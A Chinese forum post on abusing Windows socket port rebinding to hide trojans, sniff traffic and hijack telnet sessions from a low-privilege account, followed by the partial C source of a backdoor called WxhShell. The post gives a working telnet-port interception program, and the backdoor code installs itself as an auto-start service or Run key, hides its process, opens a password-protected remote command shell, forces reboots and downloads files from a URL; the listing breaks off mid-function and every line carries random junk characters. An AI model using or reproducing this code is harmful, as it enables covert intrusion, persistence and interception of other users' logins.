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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: l(B(gPvU  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ge[hAI2I  
9f|+LN##  
  saddr.sin_family = AF_INET; F<YXkG4 pO  
o<\u Hr3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ua8Burl7  
)%(V.?eW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q7{/ T0  
X<8   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 mne?r3d  
O]1aez[  
  这意味着什么?意味着可以进行如下的攻击: -Uj3?W  
)8_ x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q)s`~G({P  
BYKONZu  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) XwlF[3VbiX  
qX%oLa  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Y0 ?<~Gf  
U;q GUqI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  v>!tws5e  
{gkY:$xnrG  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9sId2py]W  
Z`jSpgWR  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 VUQx"R9-  
"3Lq/mJYnZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 OMz_xm.UPi  
71I: P|.>  
  #include g.]S5(  
  #include U=vh_NHj  
  #include G@=H=' :~  
  #include    NGs@z^&V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   OH_mZA  
  int main() 7lH.>n  
  { ` JZ`j7f  
  WORD wVersionRequested; 6|@\\\l  
  DWORD ret; 1:j[p=Q&  
  WSADATA wsaData; U(~d^9/#  
  BOOL val; nvOJY6)$V  
  SOCKADDR_IN saddr; sVNM#,  
  SOCKADDR_IN scaddr; I$Ra*r  
  int err; SKdh!*G  
  SOCKET s; c*N>7IF,  
  SOCKET sc; XPfheV G  
  int caddsize; H3Zs m)+:  
  HANDLE mt; J};=)xLX;  
  DWORD tid;   Fs 95^T  
  wVersionRequested = MAKEWORD( 2, 2 ); d# >iFD+  
  err = WSAStartup( wVersionRequested, &wsaData ); 6%\&m|S  
  if ( err != 0 ) { C8bB OC(  
  printf("error!WSAStartup failed!\n"); iAn]hVW  
  return -1; %h^ f?.(:  
  } NN"!kuM  
  saddr.sin_family = AF_INET; k@=w? m  
   '>U&B}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c>)_I  
_!:*&{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .ZVADVg\  
  saddr.sin_port = htons(23); SMMvRF`7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i!7|YAu  
  { x:0nK,  
  printf("error!socket failed!\n"); e:T8={LU2W  
  return -1; 0)HZ5^J  
  } L^%jR=  
  val = TRUE; NU/:jr.W#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,5Nf9z!hk(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) P7|x=Ew;`  
  { T*bBw  
  printf("error!setsockopt failed!\n"); T~G~M/  
  return -1; tEl_a~s*3?  
  } a`E1rK'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =&-+{txs  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 iRsK; )<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 '^ob3N/Y [  
xL#UMvZ>;h  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @";zM&  
  { fKkH [  
  ret=GetLastError(); h$U(1B  
  printf("error!bind failed!\n"); ;%V)lP"o  
  return -1; E%np-is{1  
  } sF!nSr  
  listen(s,2); 7]pi.1i  
  while(1) 7>$&CWI  
  { f~-Ipq;F  
  caddsize = sizeof(scaddr); ]IeyJ  
  //接受连接请求 VqBb=1r%o7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @@~Ql  
  if(sc!=INVALID_SOCKET) L>>Cx`ASi  
  { kW.it5Z#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i&',g  
  if(mt==NULL) `44 }kkBT  
  { U{|WN7Q:A  
  printf("Thread Creat Failed!\n"); o^*k   
  break; qrt2BT)  
  } jFPD SR5  
  } "inXHxqu/J  
  CloseHandle(mt); :+Okv$v4  
  } k:sFI @g  
  closesocket(s); (N/KP+J$n  
  WSACleanup(); SXF~>|h5<  
  return 0; c_dg/ !Iu  
  }   ^R;rrn{^  
  DWORD WINAPI ClientThread(LPVOID lpParam) xp;CYr"1}  
  { /j(3 ~%]o4  
  SOCKET ss = (SOCKET)lpParam; k*"FMJG_  
  SOCKET sc; O$, bNu/g  
  unsigned char buf[4096]; rJws#^ ]  
  SOCKADDR_IN saddr; z]33_[G1U  
  long num; 1_V',0|`>  
  DWORD val; JV_V2L1Ut  
  DWORD ret; nhb: y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Jo Ih2PD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~Jlo>  
  saddr.sin_family = AF_INET; kHx6]<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S{7 R6,B5  
  saddr.sin_port = htons(23); 5FQtlB9F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DB>.Uf"  
  { S*9qpes-m|  
  printf("error!socket failed!\n"); qdY*y&}"J  
  return -1; Udl8?EVSz  
  } %wk3&EC.  
  val = 100; MFqM 6_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Hy| X>Z  
  { $#LR4 [Fq  
  ret = GetLastError(); }n[<$*W^  
  return -1; k%2Rv4)hU  
  } 2GW.'\D  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OHyBNJ  
  { ^!yJ;'H\  
  ret = GetLastError(); ai@hQJ*  
  return -1; l?J|Ip2W  
  } WIkr0k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) wN^$8m5\T^  
  { V+- ]txu|  
  printf("error!socket connect failed!\n"); ON q=bI*  
  closesocket(sc); *Iir/6myM  
  closesocket(ss); Aat-938FP6  
  return -1; #s]'2O  
  } VY]L<4BfGL  
  while(1) [)L)R`  
  { l.@&B@5F  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -er8(snDQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w</qUOx  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,p7W4;?4  
  num = recv(ss,buf,4096,0); 4y|%Oj  
  if(num>0) hQPNxpe  
  send(sc,buf,num,0); <WCTJ!Z  
  else if(num==0) +204.Yj?D  
  break; MF]EX  
  num = recv(sc,buf,4096,0); ^mZeAW  
  if(num>0) H(,D5y`k1  
  send(ss,buf,num,0); @?YO_</  
  else if(num==0) u>-pg u  
  break; f\]splL  
  } `%nj$-W:  
  closesocket(ss); j]5mzz~  
  closesocket(sc); R[T94U  
  return 0 ; d&ap u{  
  } dub %fs  
[44C`x[8M+  
 V9cKl[  
========================================================== GT3 ?)g{Z  
4ht+u  
下边附上一个代码,,WXhSHELL RI</T3%~  
+q-/~G'  
========================================================== K]s*rPT/,  
,"U_oa3  
#include "stdafx.h" ?D8 +wj  
D/x!`&.sN  
#include <stdio.h> WPbG3FrL!  
#include <string.h> >J,y1jzJ  
#include <windows.h> \I[50eh|  
#include <winsock2.h> GO<,zOqvU  
#include <winsvc.h> N_^s;Qj  
#include <urlmon.h> n)xLEx,  
xG"*w@fs7  
#pragma comment (lib, "Ws2_32.lib") eGr;PaG  
#pragma comment (lib, "urlmon.lib") x-%4-)  
| g[iK1  
#define MAX_USER   100 // 最大客户端连接数 gSn9L)k(O  
#define BUF_SOCK   200 // sock buffer =/zb$d cz  
#define KEY_BUFF   255 // 输入 buffer `+?g96   
G}8Zkz@+  
#define REBOOT     0   // 重启 ~P;KO40K  
#define SHUTDOWN   1   // 关机 P<s 0f:".  
zvAUF8'_  
#define DEF_PORT   5000 // 监听端口 SG@-b(  
5zk^zn)  
#define REG_LEN     16   // 注册表键长度 H4{CiZ  
#define SVC_LEN     80   // NT服务名长度 -H-:b7  
 tQSJ"Q  
// 从dll定义API >u R0 Xs;V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =QQTHL{3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %S9YjMR@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &U7INUL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PbpnjvVrM  
v62O+{  
// wxhshell配置信息 Z36C7 kw  
struct WSCFG { 7 S 6@[-E  
  int ws_port;         // 监听端口 &upM,Jsr*  
  char ws_passstr[REG_LEN]; // 口令 CYFi_6MFl  
  int ws_autoins;       // 安装标记, 1=yes 0=no /t"F Z#  
  char ws_regname[REG_LEN]; // 注册表键名 ~8l(,N0  
  char ws_svcname[REG_LEN]; // 服务名 .`@)c/<0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yuA+YZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TcEvUZJ"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P|' eM%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ).l`N&_peM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PT/TQW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '2X6 >6`w  
:Y)jf  
}; %3;vDB*L$  
O}w"@gO@.  
// default Wxhshell configuration MIF`|3$,  
struct WSCFG wscfg={DEF_PORT, vA"MTncv  
    "xuhuanlingzhe", D6L5X/#  
    1, %8hjMds  
    "Wxhshell", H.=S08c3kA  
    "Wxhshell", g*]/HS>e<G  
            "WxhShell Service", 6)j4-  
    "Wrsky Windows CmdShell Service", {@YY8SKb9  
    "Please Input Your Password: ", |fIIfYE  
  1, m(DJ6CSa  
  "http://www.wrsky.com/wxhshell.exe", IF~E;  
  "Wxhshell.exe" ZlG|U]mM5  
    }; Ef~Ar@4fA  
6>=yX6U1q^  
// 消息定义模块 fWk,k*Z 9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ta+MH,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L5j%4BlK/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p()#+Xy  
char *msg_ws_ext="\n\rExit."; lC8Z@wkjO  
char *msg_ws_end="\n\rQuit."; 2>+(OL4l  
char *msg_ws_boot="\n\rReboot..."; `G0GWh)`x  
char *msg_ws_poff="\n\rShutdown..."; egXbe)ld  
char *msg_ws_down="\n\rSave to "; [Zxv&$SQ  
'L$}!H1y  
char *msg_ws_err="\n\rErr!"; c0aXOG^  
char *msg_ws_ok="\n\rOK!"; u/_TR;u= q  
"\`>Ll  
char ExeFile[MAX_PATH]; :f_fp(T  
int nUser = 0; xmXuBp:M(R  
HANDLE handles[MAX_USER]; w _ONy9  
int OsIsNt; bo|3sN+D  
xm$-:N0q  
SERVICE_STATUS       serviceStatus; 9Rd& Jq^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UI%Z`.&  
$s]vZ(H  
// 函数声明 ZULnS*V;5  
int Install(void); iO@UzD #v  
int Uninstall(void); RzOcz=A}  
int DownloadFile(char *sURL, SOCKET wsh); OC=g 1  
int Boot(int flag); zN3b`K. i  
void HideProc(void); L'L[Vpx  
int GetOsVer(void); !YVGT <  
int Wxhshell(SOCKET wsl); -~] q?k?  
void TalkWithClient(void *cs); A~)#  
int CmdShell(SOCKET sock); AC&)FY  
int StartFromService(void); sD ,=_q@  
int StartWxhshell(LPSTR lpCmdLine); ^g SZzJ5  
)eD9H*mq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (J 1:J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GTuxMg`  
nr]:Y3KyxX  
// 数据结构和表定义 sOqT*gwr:  
SERVICE_TABLE_ENTRY DispatchTable[] = hZ`<ID  
{ {|{;:_.>  
{wscfg.ws_svcname, NTServiceMain}, 'zhv#&O  
{NULL, NULL} !*e1F9k  
}; J~.`  
v8l3{qq  
// 自我安装 =JNCQu  
int Install(void) LE}V{%)xD  
{ ko{7^]gR  
  char svExeFile[MAX_PATH]; U[EZ, 7n8  
  HKEY key; ^V7'S<  
  strcpy(svExeFile,ExeFile); c:I %jm  
1Eh6ti  
// 如果是win9x系统,修改注册表设为自启动 Y?v{V>;*A  
if(!OsIsNt) { 8AQ__&nT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wQ9?Z.-$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nq5qUErew  
  RegCloseKey(key); 6^e}^~|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r#'ug^^k$X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %zz,qs)Eu  
  RegCloseKey(key); x/dyb.  
  return 0; eXQLE]L]  
    } |i\%> Y,  
  } + l hJ8&  
} lG5KZ[/Or  
else { '\M]$`Et  
5=_bK^Am  
// 如果是NT以上系统,安装为系统服务 hQ ?zc_ 3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fSF_O}kLp  
if (schSCManager!=0) gY&WH9sp?9  
{ s[bQO1g;*  
  SC_HANDLE schService = CreateService \IaUsx"#o{  
  ( ZM16 ~k  
  schSCManager, $1 t IC_  
  wscfg.ws_svcname, Vbv)C3ezD  
  wscfg.ws_svcdisp, UR~s\m  
  SERVICE_ALL_ACCESS, ub;:"ns}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NHiac(&*  
  SERVICE_AUTO_START, H1.ktG  
  SERVICE_ERROR_NORMAL, rS8}(lf  
  svExeFile, .XT]\'vW  
  NULL, -v! ;  
  NULL, Ye S5%?Fk  
  NULL, s}F.D^^G  
  NULL, 1ixBwnp?  
  NULL wxo*\WLe  
  ); MY}/h@  
  if (schService!=0) A{p_I<  
  { I(H9-!&  
  CloseServiceHandle(schService); Z4oD6k5oc  
  CloseServiceHandle(schSCManager); +rJDDIb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :s*t\09V7  
  strcat(svExeFile,wscfg.ws_svcname); E#R1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o3$dl`'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I0*N "07n  
  RegCloseKey(key); X-*LA*xbN  
  return 0; fjCFJ_  
    } d$^ @$E2f  
  } y* :C~  
  CloseServiceHandle(schSCManager); V|G*9^Y  
} 3rBID  
} <JIqkGeAi  
$R%tD.d3  
return 1; 6of9lO:  
} S!rVq,| d  
8*;>:g  
// 自我卸载 sJ{r+wY  
int Uninstall(void) 8<Pi}RH  
{ ~b @"ir+g4  
  HKEY key; Z((e-T#,  
5"y)<VLJX  
if(!OsIsNt) { A4g,)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K~4bT=   
  RegDeleteValue(key,wscfg.ws_regname); + }$(j#h  
  RegCloseKey(key); )t((x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l9e=dV:pH  
  RegDeleteValue(key,wscfg.ws_regname); 9k \M<jA  
  RegCloseKey(key); *cZ7?  
  return 0; M@JW/~p'  
  } nDcH;_<;9a  
} h$mGaw vZ~  
} PhAD: A  
else { {#~A `crO  
-<L5;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Po&'#TC1  
if (schSCManager!=0) # [ +n(  
{ #&ei  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +IMt$}7[  
  if (schService!=0) , `PYU[  
  { $4*gi&  
  if(DeleteService(schService)!=0) { P_5G'[  
  CloseServiceHandle(schService); Cn0s?3Fm  
  CloseServiceHandle(schSCManager); HQwrb HS  
  return 0; =d+`xN*  
  } 0"Euf41  
  CloseServiceHandle(schService); cc3/XBo  
  } w/:ibG@  
  CloseServiceHandle(schSCManager); T(,@]=d,DD  
} X"vDFE`?  
} I:w+lchAMe  
1_TniR3z1  
return 1; hYh~%^0dt  
} S=W^iA6>  
wwv+s~(0  
// 从指定url下载文件 )3R5cq  
int DownloadFile(char *sURL, SOCKET wsh) c>3j $D+  
{ *2fJdY  
  HRESULT hr; >6Jz=N,  
char seps[]= "/"; %mIdQQ,  
char *token; u@P1`E1Q  
char *file; OsW*@v(  
char myURL[MAX_PATH]; 8 &v)Vi-  
char myFILE[MAX_PATH]; &O#1*y Z  
| #b/EA9  
strcpy(myURL,sURL); qQIX:HWDKZ  
  token=strtok(myURL,seps); 8)M WC:  
  while(token!=NULL) !@*= b1  
  { ty:{e]e  
    file=token; =f23lA  
  token=strtok(NULL,seps); JNT|h zV  
  } F@HJ3O9  
A2p%Y},  
GetCurrentDirectory(MAX_PATH,myFILE); C9_[ke[1D  
strcat(myFILE, "\\"); xB]^^ NYE=  
strcat(myFILE, file); a_]l?t  
  send(wsh,myFILE,strlen(myFILE),0); CMyz!jZ3  
send(wsh,"...",3,0); Gx4{ 9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )TyP{X>  
  if(hr==S_OK) ;U$Rd,T4S  
return 0; p>f ?Rw_  
else z_=V6MDM  
return 1; )| |CU]"b?  
H: ;XU  
} lon9oraF'  
-r]L MQ  
// 系统电源模块 |lk:(~DM  
int Boot(int flag) x <OVtAUB  
{ ^w&!}f+  
  HANDLE hToken; X4!Jj *  
  TOKEN_PRIVILEGES tkp; ` @lNt}  
m. \JO  
  if(OsIsNt) { +G\i$d;St  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |f\WVGH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4?+jvVq  
    tkp.PrivilegeCount = 1; aL&9.L|1 g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IxG7eX!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )/Gi-::  
if(flag==REBOOT) { O<$j}?2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =q|//*t2  
  return 0; :Rnwyj])  
} uHRxV"@}[1  
else { "c?31$6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xn@oNKD0  
  return 0; g>#}(u!PH  
} | +uc;[`  
  } th<>%e}5c  
  else { Oqt{ uTI~  
if(flag==REBOOT) { d(@ ov^e-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I~Qi):&x  
  return 0; c4r9k-w0E  
} 8H T3C\$s  
else { +F%tBUY{<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ct zW do.  
  return 0; .JJ50p  
} "zzb`T[8  
} ~=t9-AF-  
hs:iyr]@9  
return 1; Sqyju3Yp  
} Eau V  
+?[s"(  
// win9x进程隐藏模块 )>^Ge9d]  
void HideProc(void) ]"htOO  
{ \ rg;xZa5  
Y*O Bky  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :XoR~syT  
  if ( hKernel != NULL ) IS`ADDU[S  
  { baL<|& c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,7DyTeMpN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 94]i|2qj*  
    FreeLibrary(hKernel); ?Iij[CbU  
  } XW\ 3ttx  
4Ssy (gt  
return; Fey^hx w =  
} ,U+>Q!$`\^  
J, +/<Y!  
// 获取操作系统版本 ~O!E&~  
int GetOsVer(void) -v|lM8  
{ k,; (`L  
  OSVERSIONINFO winfo; Q`Q"p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `*`ZgTV  
  GetVersionEx(&winfo); #l.s> B4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OECVExb@eH  
  return 1; .7:ecFKk  
  else R9D2cu,{  
  return 0; 6+"gk(  
} &p*rEs  
84i0h$ZZo  
// 客户端句柄模块 & .#dZ}J  
int Wxhshell(SOCKET wsl) Q`4I a<5B  
{ }W[=O:p  
  SOCKET wsh; h|i b*%P_  
  struct sockaddr_in client; 1jAuW~  
  DWORD myID; AAKc8 {  
,^ dpn  
  while(nUser<MAX_USER) \" m&WFm  
{ Nez '1  
  int nSize=sizeof(client); x{GFCy7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); so| U&`G  
  if(wsh==INVALID_SOCKET) return 1; Uyeo0B"  
wuXH'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %da-/[  
if(handles[nUser]==0) zwP*7u$CH  
  closesocket(wsh); \%%M>4c  
else ;XlCd[J<  
  nUser++; sJl>evw  
  } Z:V<P,N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $ 9E"{6;@  
hx/A215L  
  return 0; b^()[4M;  
} `0w!&  
BQeg-M  
// 关闭 socket T!pZj_ h=  
void CloseIt(SOCKET wsh) 'aEN(Mdz1e  
{ N=~DSsw  
closesocket(wsh); P3Ah1X7W"C  
nUser--; v |pHbX  
ExitThread(0); aSJD'u4w.a  
} kho0@o+'^  
"gDk?w  
// 客户端请求句柄 JE*?O*&|Q  
void TalkWithClient(void *cs) $BB^xJ\O  
{ y&\t72C$Fi  
sb1tQ=u[  
  SOCKET wsh=(SOCKET)cs; Ox)_7A  
  char pwd[SVC_LEN]; cf*~G x_l  
  char cmd[KEY_BUFF]; JS<w43/j  
char chr[1]; Ad>@8^  
int i,j; $?VYHkX  
qLKL*m  
  while (nUser < MAX_USER) { #SjCKQ~  
De>,i%`Q,D  
if(wscfg.ws_passstr) { nr( C*E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -~H "zu`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ymnK`/J!Q  
  //ZeroMemory(pwd,KEY_BUFF); FP0GE  
      i=0; g:p` .KuB  
  while(i<SVC_LEN) { +JXn   
A_2lG!! 6  
  // 设置超时 G Uh<AG*+  
  fd_set FdRead; V%C'@m(/SZ  
  struct timeval TimeOut; >fkV65w{*  
  FD_ZERO(&FdRead); %zDi|WZ  
  FD_SET(wsh,&FdRead); 6@FxPi9|#  
  TimeOut.tv_sec=8; k)8*d{*  
  TimeOut.tv_usec=0; Yfs eX;VX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )|5mW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =KD[#au6a  
3vQVk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m")p]B&i=  
  pwd=chr[0]; 0Jd>V  
  if(chr[0]==0xd || chr[0]==0xa) { Z[,,(M  
  pwd=0; i3Xo6!Q  
  break; J*ZcZ FbWN  
  } I).eQ8:  
  i++; L}_VT J  
    } { Q!Xxe>6  
+apn3\_  
  // 如果是非法用户,关闭 socket Z-" NLwt[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iuM ,a F  
} C8 }=fa3u  
E>2AG3)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?#nk}=;g8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~*~aFf5  
[i> D|X  
while(1) { Eq8:[o  
E(f|LG[I  
  ZeroMemory(cmd,KEY_BUFF); ?[DVYP  
N f}ZG  
      // 自动支持客户端 telnet标准   [<Mls@?  
  j=0; UF}Ji#fqn  
  while(j<KEY_BUFF) { ygK,t*T20  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W&3,XFnI_  
  cmd[j]=chr[0]; 1:u~T@;" `  
  if(chr[0]==0xa || chr[0]==0xd) { XXD4T9Wy  
  cmd[j]=0; )]\-Uy$x  
  break; mT;   
  } zU4*FXt  
  j++; ^(BE_<~  
    } b'ir$RL] c  
3u s^\w#  
  // 下载文件 `dl^)4J  
  if(strstr(cmd,"http://")) { qK%#$JgqA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X2P8Zq=%a  
  if(DownloadFile(cmd,wsh)) ldRq:M5z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >rYMOC~  
  else f Avh!g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  _BCq9/  
  } y"K[#&,0  
  else { yD0DPtti  
'c >^Aai  
    switch(cmd[0]) { zqRps8=  
  ZK<c(,oZ^  
  // 帮助 5 (q4o`  
  case '?': { "=$uv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zW[HGI6w  
    break; VmXXj6l&  
  } >]Dn,*R  
  // 安装 BXytAz3  
  case 'i': { /NuO>kQa  
    if(Install()) k? ,/om1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p>+Q6o9O  
    else 3 [O+wVv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ="AaC!E,W  
    break; N~?(<DyZR  
    } OhM_{]*  
  // 卸载 tvUCd}  
  case 'r': { vJX0c\e  
    if(Uninstall()) e YiqTWn:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w(*},  
    else T]\'D&P~D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YjPj#57+  
    break; ]L3MIaO2T  
    } {Z>Mnw"R  
  // 显示 wxhshell 所在路径 \#C]|\  
  case 'p': { i7&ay\+@  
    char svExeFile[MAX_PATH]; DJ1!Xuu  
    strcpy(svExeFile,"\n\r"); /7ykmW  
      strcat(svExeFile,ExeFile); xA0=C   
        send(wsh,svExeFile,strlen(svExeFile),0); m;U_oxb  
    break; C[><m2T  
    } F8\JL %  
  // 重启 V~$?]Z%_  
  case 'b': { UI~hB4V$]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0])[\O`j  
    if(Boot(REBOOT)) 8}Q 2!,9Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bH%d*  
    else { {.Brh"yC  
    closesocket(wsh); I:;umyRH  
    ExitThread(0); fW=eB'Sl  
    } 7IrH(~Fo  
    break; 3A.lS+P1  
    } :+8qtIytKX  
  // 关机 {?r5~ T`2  
  case 'd': { Sj v iH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  e `K{  
